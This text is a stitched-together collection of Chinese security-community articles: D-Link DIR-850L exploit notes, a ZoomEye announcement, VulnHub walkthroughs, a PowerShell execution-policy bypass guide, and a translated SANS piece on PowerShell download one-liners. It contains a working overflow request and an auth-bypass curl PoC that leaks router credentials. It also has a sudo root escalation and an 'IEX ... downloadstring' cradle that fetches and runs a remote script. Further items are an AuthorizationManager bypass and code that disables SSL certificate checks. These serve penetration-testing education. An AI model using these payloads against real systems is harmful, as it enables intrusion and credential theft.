0x00414148 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv
0x0041414c 0320f809 jalr t9
0x00414150 00408821 move s1, v0 ; HTTP_SOAPACTION saved to s1
...
...
...
0x00414a14 02402021 move a0, s2 ; arg1 (dest)
0x00414a18 8fbc0020 lw gp, 0x20(sp)
0x00414a1c 8f9982b0 lw t9, -0x7d50(gp) ; [0x43abf0:4]=0x4253e0 sym.imp.strcat
0x00414a20 0320f809 jalr t9 ; Call to strcat
0x00414a24 02202821 move a1, s1 ; arg2 (src)
伪代码：
这个漏洞是由于使用strcat（）函数没有限制长度引起的，此漏洞能够覆盖PC，从而控制程序的执行流，允许任意代码执行。在处理HTTP_SOAPACTION内容时，getenv获取环境变量值，但没有长度限制，将其拼接在
HNAP_AUTH后，超过547字节后，将覆盖PC
POC：
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=kV8BSOXCoc
Connection: close
#### 文件读取漏洞
漏洞点位于 /htdocs/web/getcfg.php
这里有个读取文件的漏洞，要求GETCFG_SVC可控，从而利用dophp函数进行文件读取。
要想进入这个函数首先使is_power_user 函数返回值为1，只有当全局变量AUTHORIZED_GROUP>=0的时候，函数才会返回1，全局变量
AUTHORIZED_GROUP 是由cgibin中传入的，下面我们分析一下cgibin文件
cgibin首先判断请求类型（HEAD、GET、POST）
我们定位到cgibin处理post请求的地方，发现调用了cgibin_parse_request函数
cgibin_parse_request在处理http请求的时候，经过sess_validate 验证的数据，赋值给 AUTHORIZED_GROUP
，因此可以非授权用户可以直接给AUTHORIZED_GROUP赋值来绕过验证
我们可以看出在调用 sobj_add_char 函数时，会用0xA，('\ n') 来分隔参数
所以我们构造的poc为
curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[IP]/getcfg.php"
curl -d ：使用POST提交参数
SERVICES=DEVICE.ACCOUNT：构造DEVICE.ACCOUNT.xml.php配置文件
%0a：URL编码，表示换行
可以看出成功泄露账户密码，由于我模拟的固件没设置密码，所以初始密码为空
### 参考文章
[<https://www.nccgroup.trust/uk/our-research/d-link-dir-850l-web-admin-interface-vulnerable-to-stack-based-buffer-overflow/?research=Technical+advisories](<https://www.nccgroup.trust/uk/our-research/d-link-dir-850l-web-admin-interface-vulnerable-to-stack-based-buffer-overflow/?research=Technical+advisories)>
<https://xz.aliyun.com/t/2941#toc-6>
<https://www.anquanke.com/post/id/175625#h3-5> | 社区文章 |
**作者：知道创宇404实验室
时间：2020年8月4日**
FIT 2019 大会上，黑哥发表《基于网络空间搜索引擎的通用漏洞挖掘》主题演讲，介绍了知道创宇旗下网络空间搜索引擎 “ZoomEye
钟馗之眼”的诞生、特点与使用，尤其是以404实验室研究实例讲述了利用ZoomEye进行网络空间漏洞挖掘的方法。
有兴趣的同学可以按照黑哥提出的网络空间漏洞挖掘套路进行实战演练，还可以利用ZoomEye通过调用API实现自动化平台等等，更多实现方式等待你去发现。附上演讲议题PDF下载：[https://images.seebug.org/archive](https://images.seebug.org/archive/%E5%9F%BA%E4%BA%8E%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E7%9A%84%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98_-_12.08.pdf
"https://images.seebug.org/archive")
另外还有一个好消息，ZoomEye API接口输出数据不再有限制！HW行动在即，“ZoomEye 钟馗之眼”发布了重大更新，取消原有 API
接口（包括数据下载功能）最高随机输出 40% 数据的限制， **全面支持 100% 的数据输出服务**
。此次更新打破了ZoomEye自上线以来的一个限制，对使用者更友好，近期我们还将发布一些新功能及细节优化，敬请期待！
访问ZoomEye：<https://www.zoomeye.org/>
* * * | 社区文章 |
# 黑产在IP攻防上的挣扎与进化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。本文翻译自 [原文链接]()。如若转载请注明出处。
商务合作，文章发布请联系 [email protected]
本文由 **永安在线反欺诈** 原创发布
转载，请参考[转载声明](https://www.anquanke.com/note/repost)，注明出处：
[https://www.anquanke.com/post/id/179875](/post/id/179875)
安全客 - 有思想的安全新媒体
本文转载自: []()
如若转载,请注明出处： []()
安全客 - 有思想的安全新媒体
分享到：
* [黑产](/tag/黑产)
* [IP](/tag/IP)
**+1** __17赞
__收藏
永安在线反欺诈
分享到： | 社区文章 |
# 渗透测试实战——unknowndevice64-1靶机+Moonraker靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
哈喽大家好，爱写靶机实战的文章的我，又又来啦，最近靶机更新的有点多，小弟没日没夜的搞，库存有点多，所以本文还是一样，写2个靶机的实战入侵pwn。
## 靶机下载/安装
unknowndevice64：<https://pan.baidu.com/s/1QUJp1Cxuf1bTxQd4ZdTzCA>
Moonraker：<https://pan.baidu.com/s/1pczDMorsDAdn7JibGZuELA>
## 实战
### unknowndevice64靶机
该靶机被定义为中级，但是是吗？我们来看看….
靶机IP：172.16.24.72
老规矩nmap神器开路：
可以看到只开放2个端口，我们还是先查看http服务的31337端口
访问如图：
界面做的挺酷的，不用怀疑习惯性 查看源代码，如图：
发现 key_is_h1dd3n.jpg 图片，如图：
老套路了，CTF的隐写技术，小弟上篇文章刚刚写过，那么我们来分离看看吧
可以看到，需要输入密码，那么密码是什么呢？其实。。。 密码就写在文件名上啊 “h1dd3n”
下面我们加密码，试一下吧
拿到一个 “h1dd3n.txt”文件，我们查看一下看看
看到这个密文，经常玩ctf的小伙伴就知道了，但是肯定也有小伙伴以为是摩斯电码，其实它是brainfuck编码，我们使用在线解密工具，试一下吧
成功解密，得到密码为：
ud64 – 1M!#64[@ud](https://github.com/ud "@ud")
这个时候大家肯定兴致勃勃的拿去ssh登陆。。。
没错，我也是这样。心里还在念叨，就他喵的这样还能定为中级？
然后一登陆就闷逼了。。。如图：
好吧。。。 碰到了 rbash
，然后小弟就一顿谷歌，找到了一篇比较全面的绕过方法，参考地址：<https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/>
放出来希望大家用得到。。。常见的几种小弟也都试了，如图：
这些记录是小弟后面找的记录，比较懒就不重置靶机了。。。
（注：上图中的 `echo /*` 命令有些CTF题中会出现可以解题，小伙伴们以后可以试试！）
最后小弟根据刚刚文章的内容，进行了尝试 使用 export 命令，该命令是默认rbash下可以使用的，小伙伴们可以在shell下 按键盘的tab
能弹出能执行的命令，如图：
通过上图可以看到该靶机运行使用vi编辑器，
那么最后的绕过步骤为：
1. vi aaa.txt
2. 输入 `:!/bin/bash` 得到shell
当然这个shell也不是我们平时的shell，如图：
我们还需要再进行下一步绕过。。。
3. 使用命令
下面我们就可以输入 sudo -l 了
发现了一个突破口，sysud64 不需要密码，我们执行 help看看
可以使用-o 参数
下面的exp就是： sudo sysud64 -o /dev/null /bin/bash
如图：
成功拿到root-shell，下面就是拿flag了
本靶机完！！！
### Moonraker靶机
靶机IP：172.16.24.44
老规矩nmap神器开路：
我们还是先查看80端口，用目录猜解工具跑一下看看，
在首页上经过一段动画后，我们到了
<http://172.16.24.44/moonraker.html>
我们逐个点进去看一下，在<http://172.16.24.44/services/> 下发现一个比较有意思的东西
<http://172.16.24.44/svc-inq/sales.html>
看到对话框是不是小伙伴们要跑一波注入？我也一样。。。
但是看内容说是让我们提交咨询留言会有销售帮忙查看，这不就是正常的xss套路吗？那么我们就在本地开启http的服务来构造语句看看能不能成功，如图：
1. 先开启http服务，本次使用 nginx
2.确认开启后，我们就在网站上写入语句了，提交
下面我们只需要打开本机的nginx日志静静等待就行。。。。
泡个茶的功夫，就已经有销售经理点击查看了，（销售经理say：又他喵是我背锅。。。。）如图：
得到新目录 “svc-inq/salesmoon-gui.php”
继续点击进入
可以看到其使用的是 “couchDB”, 下面我们继续一个个查看，在couchDB notes 找到了密码
通过谷歌得到密码为 ：Jaws – dollyx99
下一步我们去 启用了couchdb 服务的 5984 端口登陆。。
如图：
小伙伴要问了，你这个登陆路径哪里来的呢？为什么我的没有。。。 好吧 其实是谷歌的。。。。
登陆后
往下走
发现新突破口，我们去访问看看
我们逐一查看，发现Hugo 用户是我们下一步的突破口
可以看到其是CEO，出现3000端口。。。 那么我们继续去3000端口登陆吧
登陆成功后，出现这个，如图：
这他喵的是什么鬼。。。 小弟在这里被卡了一会儿。。 最后隔天出现探测ip的时候，发现其端口是nodejs 架构啊，不是记得有个RCE吗？来谷歌一波
找到了这个
[https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-%20for-remote-code-execution/) for-remote-code-execution/
然后小弟就跟着尝试了，我们使用脚本先生成一个反弹shell编码，最后exp为 如图：
下一步我们吧这个构造号的exp 继续base64的编码
（下载地址：[https://pan.baidu.com/s/1CiRZjazWX52g_4raw9xHew）](https://pan.baidu.com/s/1CiRZjazWX52g_4raw9xHew%EF%BC%89)
最后我们把这个编码后的exp复制出来，重新登陆3000端口，抓包，然后把exp复制在 profile= 后面，如图：
我们成功拿到shell
下面我们在里面翻翻看，有没有什么突破口，然后发现了这个
这个在上一篇文章中小弟已经说过了，我们看看有没有什么突破口，如图：
哈哈哈，我们跟过去查看一下
没有让我们失望，我们找到了 CEO的密码 ： hugo – 321Blast0ff!!
下面我们使用ssh登陆一下提权吧。。。。。
我们继续翻翻看
刚刚在‘jaws’用户时我们看到了有个邮件服务，我们到系统默认的 /var/mail下看看
hugo目录本权限可读，我们查看一下
可以看到不少邮件往来，在下来没几封，直接发现了这个。。。
这个时候还犹豫什么，直接爆破走起，如图：
泡个养生茶的功夫，密码已经出来了，然后小弟就急匆匆的去登陆。。。
如图：
可是一直提示密码不对，我当时真的都快怀疑人生了。。。。 然后喝了2杯养生茶，重新看了一下那个邮件，发现让其在密码后面加上 VR00M
最后的密码为： cyberVR00M
然后就成功了。。。。
成功拿到root-shell和flag
本靶机完！！！
感谢观看！！ | 社区文章 |
## 何为powershell执行策略
> PowerShell 是一个跨平台的任务自动化解决方案，由命令行 shell、脚本语言和配置管理框架组成。PowerShell 在
> Windows、Linux 和 macOS 上运行。
由于powershell有以下性质，往往受到管理员或者安全人员的青睐。
1. 是Windows原生的
2. 可以调用Windows API
3. 无文件执行命令
4. 可以逃避Anti-Virus的检测(这个其实现在还比较敏感了)
5. 被大多数程序加入白名单中，标记为可信的
6. 有许多开源的渗透工具集
windows为powershell设计了一个名为`Execution
Policy`，即执行策略的东西来决定哪些类型的PowerShell脚本可以在系统中运行。PowerShell 提供了
Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined
六种类型的执行策略。在默认情况下，它是“Restricted”(限制)的，即任何脚本都不行。但其实它并非是为了是为了防止一些恶意脚本的执行，而是帮助用户设置基本规则并阻止他们无意中违反规则。
### Restricted
* Windows 客户端计算机的默认执行策略。
* 允许运行单个命令，但不允许运行脚本。
* 阻止运行所有脚本文件，包括格式化和配置文件 ( `.ps1xml`)、模块脚本文件 ( `.psm1`) 和 PowerShell 配置文件 ( `.ps1`)。
### AllSigned
* 脚本可以运行。
* 要求所有脚本和配置文件都由受信任的发布者签名，包括在本地计算机上编写的脚本。
* 在运行来自你尚未归类为受信任或不受信任的发布者的脚本之前提示你
### RemoteSigned
* Windows 服务器计算机的默认执行策略。
* 脚本可以运行。
* 需要可信发布者对从 Internet 下载的脚本和配置文件（包括电子邮件和即时消息程序）进行数字签名。
* 不要求在本地计算机上编写的脚本（不是从 Internet 下载的）具有数字签名。
* 运行从 Internet 下载且未签名的脚本（如果脚本未阻止，例如使用`Unblock-File`cmdlet）。
* 有运行来自互联网以外来源的未签名脚本和可能是恶意的签名脚本的风险。
### Unrestricted
* 未签名的脚本可以运行。存在运行恶意脚本的风险。
* 在运行不是来自本地 Intranet 区域的脚本和配置文件之前警告用户。
### Bypass
* 没有任何内容被阻止，也没有警告或提示。
* 此执行策略设计用于将 PowerShell 脚本内置到更大应用程序中的配置，或用于将 PowerShell 作为具有自己的安全模型的程序的基础的配置。
### Undefined
* 当前作用域中未设置执行策略。
* 如果所有作用域中的执行策略都是 **Undefined** ，则有效执行策略是 **Restricted** 。
使用命令来查看当前执行策略。
Get-ExecutionPolicy
获取影响当前会话的所有执行策略
Get-ExecutionPolicy -List
这些策略中的每一个都可以应用于不同的范围来控制受它们影响的人，范围是：
* **MachinePolicy** ：由组策略为所有用户设置的执行策略。
* **UserPolicy** ：由组策略为当前用户设置的执行策略。
* **Process** ：为当前 Windows PowerShell 进程设置的执行策略。
* **CurrentUser** ：为当前用户设置的执行策略。
* **LocalMachine** ：为所有用户设置的执行策略。
同样可以修改执行策略，使用命令`Set-ExecutionPolicy`。微软对他的一句话说明为：为 Windows 计算机设置 PowerShell
执行策略。
但修改策略需要至少管理员身份
本文就如何无需拥有管理员权限，绕过默认Restricted(限制)执行策略设置进行浅谈。
## 环境准备
操作系统：win10专业版，版本号20H2
写一个最简单的脚本：`Write-Host "this is a test"`.
当直接运行该脚本在Restricted(限制)执行策略的机器上时，会出现“此系统禁止运行脚本”的错误。
## 0x01 直接粘贴脚本到powershell交互窗口
由于允许运行单个命令，但不允许运行脚本，所以便可以将将脚本代码粘贴到powershell交互窗口，这是最直接的。
## 0x02 -Command命令参数
这个方法和上面的方法很像，但是此方法不需要一个交互式的窗口。它适用于简单脚本的执行，但是脚本复杂一点是执行不了的。
powershell -command Write-Host "this is a test"
## 0x03 管道传输
从一个文件中读取脚本，然后通过管道传输到PowerShell的标准输入中
通过echo脚本到powershell的标准输入：
Echo Write-Host "this is a test" | PowerShell.exe -noprofile -
相同性质的还有通过windows的type命令，唯一的区别是可以直接type一个文件，其实本质差不多。
type xxx.ps1 | PowerShell.exe -noprofile -
powershell的`Get-Content`命令从磁盘读取你的脚本并输入到标准的PowerShell中。
## 0x04 使用Invoke-Command或Invoke-Expression命令
### Invoke-Command
通过交互式PowerShell控制台执行。
此外，这个命令还有一个比较夸张的功能：可以抓取远程主机的策略并应用到当前主机。
这里测试了一下工作组。
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
但是这里没有成功，用wireshark抓了下流量发现并没有，也不是SMB协议。如果有执行成功的师傅可以说一下。
### Invoke-Expression
同样是可以通过交互式控制台的方式。
Get-Content xxx.ps1 | Invoke-Expression
Get-Content xxx.ps1 | iex
上面两个命令效果都是一样的，只不过iex为Invoke-Expression的简化写的版本。
## 0x05 使用"Bypass"标记Execution Policy
powershell.exe -ExecutionPolicy Bypass -File xxx.ps1
这里其他几个执行策略除了`RemoteSigned`都是可以了，就不一一去写了。
## 0x06 使用-EncodeCommand参数
通过Unicode / Base64编码串这种方式加密脚本，可以绕过所有通过"Command"参数执行时会遇到的错误，算是一个Command的加强版。
$command = "Write-Host 'this is a test'"$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand = [Convert]::ToBase64String($bytes)$encodedCommandpowershell.exe -EncodedCommand $encodedCommand
可以先在本地输出对应的编码，在目标机器上可以直接使用
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACcAdABoAGkAcwAgAGkAcwAgAGEAIAB0AGUAcwB0ACcA
## 0x07 URL Download
cs用的比较多的应该知道，cs的powershell无文件执行就是用的这种方式。这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘。它也不会导致任何配置更改。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.59.128:8066/a'))"
同样不受执行策略的影响，它实际上就是去192.168.59.128的8066端口下下载一个脚本并去执行。
## 0x08 注册表修改
经过本人测试，路径为：
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
这个键值对可能一开始没有，就自行添加。
当我尝试普通权限命令行修改注册表却失败了。
reg add HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass
这里我还网上看到一个路径，但是在win10机器上并没有。
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
由于是HKCU开头的，应该普通权限是可以的，估计在老点的操作系统上可以实现，或者说自行添加一个键值对，这里我就没有去尝试了，不过通过查看所有执行策略可以看到修改的就是LocalMachine的执行策略，自行添加HKCU下的键值对应该是可行的。
## 0x09 使用“Remote-Signed”标记Execution Policy
大概意思是生成自签名证书，对脚本经行数字签名，这样可以通过Remote-Signed进行标记运行。
这个感觉就有点鸡肋了，通过makecert等类似的工具去生成自签名证书并签名，过程比较复杂，参考<https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html>
直接使用Remote-Signed标记是无法运行的，那为什么不直接标记成Bypass呢(狗头)
PowerShell.exe -ExecutionPolicy Remote-signed -File xxx.ps1
## 0x10 基于层次bypass
通过命令`Get-ExecutionPolicy
-list`可以看到是有几个范围的，这个在文章开头也已经说明了各自的作用范围，不需要修改所有的策略作用范围即可bypass。
把ExcutionPolicy设置成Process Scope，无需管理员权限。可以看到直接能够执行脚本。
Set-ExecutionPolicy Bypass -Scope Process
类似的还可以修改`CurrentUser`,同样不需要管理员权限。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
## 0x11 交换AuthorizationManager禁用ExecutionPolicy
当函数被调用"AuthorizationManager"就会被替换成空，然后禁用ExecutionPolicy。可以看到执行策略即便还是Restricted，但是已经可以执行脚本。它的变化将被应用于会话的持续时间。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}Disable-ExecutionPolicy
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
# 【技术分享】手把手教你使用PowerShell实现一句话Web客户端
|
##### 译文声明
本文是翻译文章，文章来源：pen-testing.sans.org
原文地址：<https://pen-testing.sans.org/blog/2017/03/08/pen-test-poster-white-board-powershell-one-line-web-client>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[h4d35](http://bobao.360.cn/member/contribute?uid=1630860495)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**引言**
机动性对于一次入侵来说至关重要。当你将攻击策略和工具传送到远程环境中时，是否能够保持工具的可用性是资深专家和菜鸟小白的主要区别。关键点在于要解决在渗透测试中往往都会遇到的一个简单但普遍存在的问题：如何将文件从你的本机发送到你“拿下”的目标主机中。这是一个持续性的工作。无论目标环境如何配置、做了哪些安全控制，如果你都有一套上传文件的奇淫巧技，那你就能够将精力集中在具体的渗透工作中，“脚本小子”们就只能跟在你屁股后面吃灰了！
我们都在文件传输这一关碰过壁。有一次，我忘记打开FTP中的二进制传输模式，导致我上传的可执行文件就是跑不起来，始终想不通为什么。结果呢？我一直在这个小问题上打转转（如果二进制传输模式未开启，文件就会损坏）。
精通多种文件传输方法是每个渗透测试工程师都应该会的相当有用的技能之一。事实证明，这一点对于“红队”来说确实如此。在红蓝对抗中，任何的数据传输可能就是红队是否能够保持访问权限、入侵蓝队网络甚至拿下域控权限的关键。在最近的一次对抗中，我们通过与远程桌面建立隧道连接获得了GUI访问权限，但是为了将工具无损地上传到目标环境，我们可谓是绞尽脑汁。最终我们解决了这个问题（此处应该有掌声）……通过IE浏览器把工具下载下来了。成功了！好吧，虽说这里用IE浏览器确实解决了我们的问题，但是本文将要讨论一种更有效、更强大的方案：**PowerShell**。
*Windows用户总算可以使用wget了！（几乎算是wget吧？严格意义上讲，PowerShell中的wget只是Invoke-WebRequest命令的别名，但是也很接近啦。）*
**本文中用到的PowerShell命令**
**Win 7 PowerShell WebClient：**
****
`(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")`
**Win 8及更高版本PowerShell Invoke-WebRequest (wget)：
**
`wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"`
**显示PowerShell版本信息：**
`Get-Host`
`$PSVersionTable.PSVersion`
**ServicePointManager $true：
**
`[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}`
**Disable-NetSSLValidation
**
Invoke-SelfSignedWebRequest ([第三方工具](https://github.com/0sm0s1z/Invoke-SelfSignedWebRequest))：
`Invoke-SelfSignedWebRequest https://www.my.af.mil/ "-outfile index.htm"`
`wget-ss https://spectruminfosec.com/index.php`
由于早期Windows系统中没有直接的文件传输工具，向Windows环境中导入文件一直以来都是一个比较困难的任务。Windows没有自带**netcat**、**wget**、**curl**、**ssh**或者**python**。但是有了PowerShell，这一切都不在话下了。是的，甚至都有**wget**了。
有一件重要的事情需要注意，那就是如今活跃的不同版本的PowerShell之间有很大的差别。一些古老的语言如Perl、Bash甚至Python，大部分的代码库一直保持相当一致。PowerShell自出现以来，经历了Windows操作系统的每次迭代的宏观演进。稍后还会提到这一点。
现在我们将从一个适用于所有版本的PowerShell的Web客户端开始。
**PowerShell WebClient**
`(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")`
因为上述命令在任意版本的Powershell中都可用，所以当你编写跨平台的脚本时，这是最佳的选择。
**命令分解**
1\. `(New-Object System.Net.WebClient)` –
创建WebClient类的实例。WebClient对象就像其他图形界面的Web客户端一样，具有所有相关的功能
2\. `DownloadFile("` – 调用WebClient类的DownloadFile方法。该方法允许WebClient从远程服务器下载文件
3\. `http://10.0.0.10` – 通过HTTP协议从IP地址为10.0.0.10的主机下载文件
4\. `/nc.exe"` – 下载nc.exe文件
5\. `,"nc.exe")` – 下载的文件保存为nc.exe
**PowerShell Invoke-WebRequest**
`wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"`
在较新版本的PowerShell中，可以使用[Invoke-WebRequest](https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest)命令。此外，该命令还有一个别名**wget**，使用方法和Unix系统中的**wget**基本一样。
**命令分解**
1\. `wget` – web get的简称。使用wget可以通过HTTP、HTTPS和FTP协议下载文件
2\. `"10.0.0.10` – 通过HTTP协议从IP地址为10.0.0.10的主机下载文件
3\. `/nc.exe"` – 下载nc.exe文件
4\. `-outfile "nc.exe"` – 下载的文件保存为nc.exe
Windows PowerShell从3.0版本开始引入了[Invoke-WebRequest](https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest)命令。运行`Get-Host`命令或者`$PSVersionTable.PSVersion`命令可以确定当前环境中的PowerShell版本。后者显示的版本号更精确，但是通常情况下，这两条命令显示的信息都够用了。
**显示PowerShell版本**
`Get-Host`或者`$PSVersionTable.PSVersion`
Windows 7 – PS 2.0**结果如下图所示：
Windows 10 – PS 5.1**结果如下图所示：
从2009年10月发布的Windows 7和Windows Server 2008
R2系统开始，PowerShell作为Windows系统预装组件随系统一起发布。不幸的是，Windows
7预装的PowerShell是2.0版本的，而许多功能强大的命令如**Invoke-WebRequest**
(**wget**)一直到3.0版本的PowerShell才被引入。2012年8月，随着Windows 8和Windows Server
2012的发布，PowerShell 3.0成为标准操作系统构建的一部分。在撰写本文时，现代Windows
10操作系统默认预装了5.0版本的PowerShell。
大多数情况下，使用PowerShell进行渗透测试时，版本之间的主要区别在于2.0版本和3.0以上的版本。在2.0版本中，许多命令行需要直接通过.Net构造函数去实例化对象，如第一个示例中Windows
7版的WebClient中通过**New-Object**的方式一样。在3.0以上的版本中，许多功能已被创建并集成为独立的命令，使用起来更加直观明了。
**结论**
几乎所有的网络环境中都存在大量的Web流量。通过HTTP协议下载文件是一种很好的实现流量迁移而不被察觉的方式。寻找怪异的HTTP流量就像大海捞针。即便如此，考虑这样一种情形：对于防御者来说，通过检查User-Agent头识别可疑的HTTP流量效果惊人。
尽管流量本身不是那么显眼（除了那些比较特殊的文件名外），“WindowsPowerShell/5.1?”这样的UserAgent确实还是挺显眼的，除非用户经常通过Windows
PowerShell下载文件。
有时候，通过对流量中的敏感字眼进行过滤，筛选出那些不匹配的流量，防御者很容易就能取得成效。Seth Misenar和Chris Crowley通过SANS
RaD-X (Rapid Experience Builder) 课程，定期向美国国防部（Department of Defense of the
United States，DoD）成员（包括本文作者）教授这种防御策略。如果你是我的DoD兄弟们中的一员，我不能不推荐你参加RaD-X课程。
**
**
**额外奖励：PowerShell中使用HTTPS**
通过对蓝队一方的网络流量进行深入调查，红队如何提高技术手段以实现入侵呢？能想到的一个方案是加密。SSL/TLS是一种典型的现代Web流量。不幸的是，当上述技术遇到自签名或者无效签名的证书时，我们一般很难得到想要的结果：
**错误提示**
WebClient.DownloadFile():
`Exception calling "DownloadFile" with "2" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."`
Invoke-WebRequest:
`The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel.`
当出现`CERT_AUTHORITY_INVALID`错误时，PowerShell会自动“保护”你。作为渗透人员来说，这是有问题的，因为我们很可能经常需要同那些没有正式签名证书的域或者网站打交道。绕过这些限制可能时灵时不时，取决于你所处的环境，但是综合使用接下来介绍的一些技巧通常可以解决问题。
对于WebClient来说，这种绕过通常很简单：
ServicePointManager $true:
`[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}`
通过手动配置`ServerCertificateValidationCallback`使其返回$true，禁用通过`System.Net.ServicePointManager`端点的SSL证书校验，进而允许我们使用**WebClient.DownloadFile()**连接至具有自签名证书的域。
不幸的是，`ServerCertificateValidationCallback`不适用于异步回调函数。像*Invoke-WebRequest*和*Invoke-RestMethod*之类的回调函数在它们自己的线程内执行，以便给其他线程提供适当的运行空间，从而同时执行线程。因此，在配置了`ServerCertificateValidationCallback`之后，我们会遇到一个新的不同的错误：
`The underlying connection was closed: An unexpected error occurred on a send.`
解决这个问题难度有点困难，通常情况下有两种方案：
1\. 手动安装证书
2\. 在底层的.Net中禁用证书校验
作为安全专家，我们当然选择方案2！
Disable-NetSSLValidation：
```powershell
Add-Type @"
using System;
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
public class ServerCertificateValidationCallback
{
public static void Ignore()
{
ServicePointManager.ServerCertificateValidationCallback +=
delegate
(
Object obj,
X509Certificate certificate,
X509Chain chain,
SslPolicyErrors errors
)
{
return true;
};
}
}
"@
[ServerCertificateValidationCallback]::Ignore();
```
代码下载：Disable-NetSSLValidation.PDF
[https://blogs.sans.org/pen-testing/files/2017/03/Disable-NetSSLValidation.pdf](https://blogs.sans.org/pen-testing/files/2017/03/Disable-NetSSLValidation.pdf\))
上述代码片断对内部的.NET做了相关配置，通过**useUnsafeHeaderParsing**禁用了SSL证书校验。不幸的是，尽管上述代码在某些情况下确实可用，但通常是无效的。见鬼！
鉴于我们现在被迫必须采取一些更加安全的手段，可以考虑以下代码：
Invoke-SelfSignedWebRequest：
```powershell
function Invoke-SelfSignedWebRequest
{
<#
.SYNOPSIS
Performs web requests without certificate validation
.DESCRIPTION
Loads the target URI's SSL certificate into the local certificate store and wraps Invoke-WebRequest. Removes certificate upon completion of insecure WebRequest invocation. Aliased to wget-ss
Author: Matthew Toussain (@0sm0s1z)
License: BSD 3-Clause
.EXAMPLE
Invoke-SelfSignedWebRequest https://spectruminfosec.com/nc.exe "-outfile nc.exe"
wget-ss https://spectruminfosec.com/index.php
.LINK
https://github.com/0sm0s1z/Invoke-SelfSignedWebRequest
#>
[CmdletBinding()]
param(
[uri][string]$url,
[string]$cmdstr
)
Set-StrictMode -Version 3
if($url.Scheme -ne "https") {
#Direct to WebRequest
$newWebRequest = "Invoke-WebRequest $url $cmdstr"
IEX $newWebRequest
} else {
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
#Grab target SSL Certificate
$webRequest = [System.Net.HttpWebRequest]::Create($url)
try { $webRequest.GetResponse().Dispose() } catch {}
$cert = $webRequest.ServicePoint.Certificate
$bytes = $cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert)
$fname = $url.host
$savePath = "$pwd$fname.key"
set-content -value $bytes -encoding byte -path $savePath
#Save to disk
$importCert = new-object System.Security.Cryptography.X509Certificates.X509Certificate2
$importCert.import($savePath)
#Load into local CurrentUser Store
